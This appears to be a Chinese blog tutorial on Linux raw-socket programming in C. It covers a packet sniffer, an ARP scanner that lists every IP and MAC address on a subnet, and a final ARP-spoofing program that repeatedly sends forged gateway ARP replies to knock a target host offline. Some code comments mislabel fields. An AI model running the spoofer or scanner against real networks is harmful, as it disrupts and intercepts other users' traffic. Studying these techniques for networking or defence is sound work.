❤️原始套接字(网络编程再进阶)❤️

文章目录

    • TCP、UDP 开发回顾
      • TCP 编程回顾
    • 原始套接字的功能
    • 创建原始套接字的代码
    • 通过原始套接字截取数据报
    • 演示如何通过原始套接字强势获得数据包并进行分析
    • 制作一个网络数据分析器
    • ARP欺骗(谨慎使用,了解就好,不然会被警察叔叔抓的)
    • 代码演示

TCP、UDP 开发回顾

数据报式套接字(SOCK_DGRAM)
1、无连接的 socket,针对无连接的 UDP 服务
2、可通过邮件模型来进行对比

流式套接字(SOCK_STREAM)
1、面向连接的 socket,针对面向连接的 TCP 服务
2、可通过电话模型来进行对比

这两类套接字似乎涵盖了 TCP/IP 应用的全部,TCP 与 UDP 各自有独立的 port 互不影响 ,一个进程可同时拥有多个 port,不必关心 tcp/ip 协议实现的过程.

TCP 编程回顾

client

connect 来建立连接
write、read 收发数据
不可发送 0 长度的数据
server
bind 本地主机的 ip、port 等信息
listen 把主动套接字变为被动
accept 会有新的返回值
多进程、线程完成并发

原始套接字的功能

原始套接字作用于数据链路层,同一个网段的数据链路层相连,所以可以通过原始套接字获取到所有类型的数据报。
作用:
1、一种不同于 SOCK_STREAM、SOCK_DGRAM 的套接字,它实现于系统核心
2、可以接收本机网卡上所有的数据帧(数据包),对于监听网络流量和分析网络数据很有作用
3、开发人员可发送自己组装的数据包到网络上
4、广泛应用于高级网络编程
5、网络专家、黑客通常会用此来编写奇特的网络程序

原始套接字可以收发
1、内核没有处理的数据包,因此要访问其他协议
2、发送的数据需要使用,原始套接字(SOCK_RAW)
注意:原始套接字是存在内核里的,如果要编译的话加上sudo
❤️原始套接字(网络编程再进阶)❤️_第1张图片

创建原始套接字的代码

#include 
#include 
int socket(PF_PACKET, SOCK_RAW, protocol)
功能: 
创建链路层的原始套接字
参数: 
protocol:指定可以接收或发送的数据包类型
ETH_P_IP:IPV4 数据包
ETH_P_ARP:ARP 数据包
ETH_P_ALL:任何协议类型的数据包
返回值: 
成功(>0):链路层套接字
失败(<0):出错

通过原始套接字截取数据报

我们可以通过原始套接字在数据链路层获取到MAC头部,在mac头部里面又含有ip数据,arp数据报,等等,我们只需要了解每个数据包的数据格式是怎么样的就可以一一解析了。
难点
字节序之间的转换
如何截取自己想要的数据内容

假设有一个mac数据包,正在传送,我们在数据链路层进行获取了,那么当我们获得这个mac包之后是如何分析的呢,必须得先看一下mac包的格式,如图所示:
❤️原始套接字(网络编程再进阶)❤️_第2张图片

1.CRC、PAD 在组包时可以忽略
2.FCS CRC即循环冗余校验码:是数据通信领域中最常用的一种查错校验码,其特征是信息字段和校验字段的长度可以任 意选定。循环冗余检查是一种数据传输检错功能,对数据进行h多项式计算,并将得到的结果附在帧的后面,接收设 备也执行类似的算法,以保证数据传输的正确性和完整性。

我们可以看到,0-5为是目的地址,6-11是源地址,下两位又是类型,这个类型来判断是哪一种的数据包
❤️原始套接字(网络编程再进阶)❤️_第3张图片
当数据类型为0x8000时是ip数据报,依次推类,用代码可表示为:
在这里插入图片描述
假设是ip数据报的话,ip数据包里面又含有TCP,UDP,ICMP等协议,我们又需要解析ip数据报来获得它
❤️原始套接字(网络编程再进阶)❤️_第4张图片
同样的,通过协议类型的比较来判断是哪一种协议,他们的数据报格式在下面
❤️原始套接字(网络编程再进阶)❤️_第5张图片

1.源端口号:发送方端口号
2.目的端口号:接收方端口号
3.序列号:本报文段的数据的第一个字节的序号
4.确认序号:期望收到对方下一个报文段的第一个数据字节的序号
5.首部长度(数据偏移):TCP报文段的数据起始处距离TCP报文段的起始处有多远,即首部长度。单 位:32位,即以4字节为计算单位。
6.保留:占6位,保留为今后使用,目前应置为0
7.紧急URG: 此位置1,表明紧急指针字段有效,它告诉系统此报文段中有紧急数据,应尽快传送
8.确认ACK: 仅当ACK=1时确认号字段才有效,TCP规定,在连接建立后所有传达的报文段都必须把ACK 置1
9.推送PSH:当两个应用进程进行交互式的通信时,有时在一端的应用进程希望在键入一个命令后立即 就能够收到对方的响应。在这种情况下,TCP就可以使用推送(push)操作,这时,发送方TCP把PSH 置1,并立即创建一个报文段发送出去,接收方收到PSH=1的报文段,就尽快地(即“推送”向前)交 付给接收应用进程,而不再等到整个缓存都填满后再向上交付
10.复位RST: 用于复位相应的TCP连接
11.同步SYN: 仅在三次握手建立TCP连接时有效。当SYN=1而ACK=0时,表明这是一个连接请求报文段, 对方若同意建立连接,则应在相应的报文段中使用SYN=1和ACK=1.因此,SYN置1就表示这是一个连接请 求或连接接受报文
12.终止FIN:用来释放一个连接。当FIN=1时,表明此报文段的发送方的数据已经发送完毕,并要求释 放运输连接。
13.窗口:指发送本报文段的一方的接收窗口(而不是自己的发送窗口)
14.校验和:校验和字段检验的范围包括首部和数据两部分,在计算校验和时需要加上12字节的伪头部
15.紧急指针:仅在URG=1时才有意义,它指出本报文段中的紧急数据的字节数(紧急数据结束后就是 普通数据),即指出了紧急数据的末尾在报文中的位置,注意:即使窗口为零时也可发送紧急数据
16.选项:长度可变,最长可达40字节,当没有使用选项时,TCP首部长度是20字节

❤️原始套接字(网络编程再进阶)❤️_第6张图片

1.源端口号:发送方端口号
2.目的端口号:接收方端口号
3.长度:UDP用户数据报的长度,最小值是8(仅有首部) 4.校验和:检测UDP用户数据报在传输中是否有错,有错就丢弃
❤️原始套接字(网络编程再进阶)❤️_第7张图片

演示如何通过原始套接字强势获得数据包并进行分析


#include 
#include 
#include 
#include 
#include 
//#include 
int main()
{
    int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if(sock_fd==-1)
    {
        perror("socket");
    }
    while(1)
    {
        unsigned char buf[1024] = "";
        unsigned char src_mac[18] = "";
        unsigned char dst_mac[18] = "";

         recvfrom(sock_fd, buf, sizeof(buf), 0, NULL, NULL);

         //接收到数据后通过数据包的前12个字节解析源主机(源mac)和目的主机(目的mac)
         sprintf(src_mac, "%02x:%02x:%02x:%02x:%02x:%02x",buf[0],buf[1],buf[2],buf[3],buf[4],buf[5]);
         sprintf(dst_mac, "%02x:%02x:%02x:%02x:%02x:%02x",buf[6],buf[7],buf[8],buf[9],buf[10],buf[11]);
       //  printf("源mac:%s 目的mac:%s\n", src_mac,dst_mac);

         //第13到14个字节是解析协议类型的
         unsigned short MacType;
            MacType = ntohs(*((unsigned short*)(buf+12)));
       //  printf("%#02x\n",MacType);//#02x代表打印带有0x的十六进制,并占两位
         if (MacType ==0x800)//ip数据包
         {
             unsigned short verson = buf[14]>>4;//解析版本
             int len = (buf[14] & 0x0f) * 4;//解析数据包长度
             char src_ip[16];
             char det_ip[16];
             inet_ntop(AF_INET,buf+26,src_ip,sizeof(src_ip));           
             inet_ntop(AF_INET,buf+30,det_ip,sizeof(det_ip));
             printf("ip_Verson = %x,IpDateLen = %d\n", verson, len);
             printf("src_ip=%s  det_ip=%s\n", src_ip, det_ip);

             if(buf[14+9]==1)//ICMP
             {
             printf("--------ICMP数据包-------\n");
             }
             else if(buf[14+9]==2) //IGMP
             {
                 
             }
              else if(buf[14+9]==6) //TCP
             {
                 printf("--------TCP数据包-------\n");
                 unsigned short Src_port;
                 unsigned short det_port;
                 unsigned short TCPLen;
                 unsigned char *TCP_DATE = buf + 14 + len;

                 Src_port = ntohs(*(unsigned short *)(buf + 14 + len));
                 det_port = ntohs(*(unsigned short *)(buf + 14 + len +2));
                 TCPLen = (ntohs(*(unsigned short *)(buf + 14 +len +12))>>4)*4;//因为*要高于&所以要加()
                  printf("Src_port=%hd det_port=%hd UdpLen = %hd\n", Src_port, det_port,TCPLen);
             }
              else if(buf[14+9]==17)//UDP
             {
                 printf("--------UDP数据包-------\n");
                 unsigned short Src_port;
                 unsigned short det_port;
                 unsigned short UdpLen;
                 unsigned char udp_data[1024] ="";
                 Src_port = ntohs(*(unsigned short *)(buf + 14 + len));
                 det_port = ntohs(*(unsigned short *)(buf + 14 + len +2));
                 UdpLen = ntohs(*(unsigned short *)(buf + 14 +len +4));
                 printf("Src_port=%hd det_port=%hd UdpLen = %hd\n", Src_port, det_port,UdpLen);
                 strcpy(udp_data,buf + 14 + len + 8);//获取udp发送的数据内容
                 printf("udpdata = %s\n", udp_data);
             }
         }
         else if(MacType == 0x0806)//arp数据包
         {
           //  printf("arp类型\n");
         }


    }
}

制作一个网络数据分析器

我们可以制作一个获取到本网段所有主机的mac和ip地址等信息,需要发送一个完整的ARP包并进行遍历,并通过一个线程进行接收,首先来了解下ARP数据包的格式
❤️原始套接字(网络编程再进阶)❤️_第8张图片

1.Dest MAC:目的MAC地址
2.Src MAC:源MAC地址
3.帧类型:0x0806
4.硬件类型:1(以太网)
5.协议类型:0x0800(IP地址)
6.硬件地址长度:6
7.协议地址长度:4
8.OP:1(ARP请求),2(ARP应答),3(RARP请求),4(RARP应答)

//扫描整个网段的mac地址
#if 1
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
void *pthread(void *arg)
{
    int sockfd = *(int*)arg;
    while (1)
    {
     unsigned char buf[1500]="";
		recvfrom(sockfd,buf,sizeof(buf),0,NULL,NULL);
		unsigned short mac_type=ntohs(*(unsigned short *)(buf+12));
		if(mac_type==0x0806)
		{
			unsigned short arp_type=ntohs(*(unsigned short *)(buf+20));
			if(arp_type==0x02)
				{
					unsigned char src_mac[18]="";
					unsigned char src_ip[16]="";
					sprintf(src_mac,"%02x:%02x:%02x:%02x:%02x:%02x",buf[22],buf[23],buf[24],buf[25],buf[26],buf[27]);
					inet_ntop(AF_INET,buf+28,src_ip,16);
					printf("%s------->%s\n",src_ip,src_mac);
				
				}
        }
    }
}
int main()
{
    int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    
    //创建线程
    pthread_t pth;
    pthread_create(&pth, NULL, pthread, (void *)&sock_fd);
    pthread_detach(pth);//线程分离,不需要回收
    //网卡结构体
    struct ifreq ethreq;
    strncpy(ethreq.ifr_ifrn.ifrn_name, "ens39", IFNAMSIZ);
    if(-1 == ioctl(sock_fd,SIOCGIFINDEX,&ethreq))//获取网络接口
    {
        perror("ioctl");
    }
    struct sockaddr_ll add;
    bzero(&add, sizeof(add));

    add.sll_ifindex = ethreq.ifr_ifru.ifru_ivalue;//给add赋值

    int i = 0;
    
   
        for ( i = 1; i < 255;i++)
         {
                unsigned char arp_buf[42] =
                {
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //目的ip
                0x00,0x0c,0x29,0x33,0x15,0xb0, //源ip
                0x08,0x06,                             //帧类型
                0,1,                               //以太网
                0x08,0x00,                             //ip地址
                0x06,                               //硬件地址长度
                0x04,                               //协议地址长度
                0, 1,                               //op
                0x00,0x0c,0x29,0x33,0x15,0xb0, //源ip
                10,36,145,33,//源ip
                0x00,0x00,0x00,0x00,0x00,0x00,//目的mac,未知给空
                10,36,145,i
                 };
    int len = sendto(sock_fd, arp_buf, sizeof(arp_buf), 0, (struct sockaddr *)&add, sizeof(add));
   // printf("sendbyte:%d,%d\n", len,i);
      }
    
}

运行结果:获取到本网段的所有ip地址和mac地址
❤️原始套接字(网络编程再进阶)❤️_第9张图片

ARP欺骗(谨慎使用,了解就好,不然会被警察叔叔抓的)

我们可以通过更改你的源地址来模仿网关,我们知道,网关是用来与外界通信,如果你把网关的mac地址改成其他了,那么那个目的主机的arp里的缓存就会更新成你发送的那个mac地址,假设那个mac地址是你的主机,那么目的主机访问网关的时候会访问到你那里,将会让你上不了网。如果你想让整个网段都上不了网,那么你只要广播所有就可以让本网段的所有主机都会上不了网。这也是所谓一些黑客的手段。
❤️原始套接字(网络编程再进阶)❤️_第10张图片

代码演示

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
int main()
{
    int sock_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    
    //创建线程
    pthread_t pth;
    //pthread_create(&pth, NULL, pthread, (void *)&sock_fd);
    //pthread_detach(pth);//线程分离,不需要回收
    //网卡结构体
    struct ifreq ethreq;
    strncpy(ethreq.ifr_ifrn.ifrn_name, "ens39", IFNAMSIZ);
    if(-1 == ioctl(sock_fd,SIOCGIFINDEX,&ethreq))//获取网络接口
    {
        perror("ioctl");
    }
    struct sockaddr_ll add;
    bzero(&add, sizeof(add));

    add.sll_ifindex = ethreq.ifr_ifru.ifru_ivalue;//给add赋值

    int i = 0;
    unsigned char arp_buf[42] =
        {
             0x80,0xfa,0x5b,0x40,0x61,0xb4, //目的ip
            0x00,0x0c,0x29,0x6c,0xc1,0x52, //源ip
            0x08, 0x06,                         //帧类型
            0,1,                            //以太网
            0x08, 0x00,                         //ip地址
            0x06,                               //硬件地址长度
            0x04,                               //协议地址长度
            0, 2,                               //op
            0x00,0x0c,0x29,0x6c,0xc1,0x52, //源ip
            10, 36, 145, 1,                     //源ip
            0x80,0xfa,0x5b,0x40,0x61,0xb4, //目的mac,未知给空
            10, 36, 145, 57
        };
        while(1)
    {
        sleep(1);
        int len = sendto(sock_fd, arp_buf, sizeof(arp_buf), 0, (struct sockaddr *)&add, sizeof(add));
        // printf("sendbyte:%d,%d\n", len,i);
    }
      
    
}

你可能感兴趣的:(linux,udp,tcp/ip)